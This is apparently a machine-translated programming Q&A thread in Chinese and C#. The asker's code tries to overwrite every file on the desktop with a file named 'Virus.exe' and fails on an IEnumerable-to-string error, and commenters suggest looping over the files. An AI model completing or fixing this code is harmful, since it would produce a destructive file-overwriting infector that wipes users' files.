我用这个来查找和替换的exe文件您可以将IEnumerated字符串转换为普通字符串吗?
public static void Replace()
{
string origFile = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory) + "/Virus.exe"; //original file
IEnumerable<string> toOverwrite = EnumerateFiles(); //newly enumarated files
string backupFile = Environment.GetFolderPath(Environment.SpecialFolder.DesktopDirectory) + "/temp"; //backup file (temporary)
File.Replace (origFile, toOverwrite, backupFile); //replaces files
}
public static IEnumerable<string> EnumerateFiles()
{
string pathToSearch = Environment.GetFolderPath (Environment.SpecialFolder.DesktopDirectory); //Sets search directory to the desktop
IEnumerable<string> exeFiles = Directory.EnumerateFiles (pathToSearch); //Searches desktop for all exe files
return exeFiles; //Returns enumerated list of files
}
但是当我做了File.Replace方法,它告诉我,我不能IEnumerable的字符串转换成一个正常的字符串。如何更改字符串类型而不更改值?
你EnumerateFiles可以在exeFiles返回多个文件名。此外,如果您将其转换,我无法看到如何在调用File.Replace时使用它需要一个文件 – Steve
字符串集合不是字符串。您需要遍历集合并对每个集合执行'File.Replace'。 – user1666620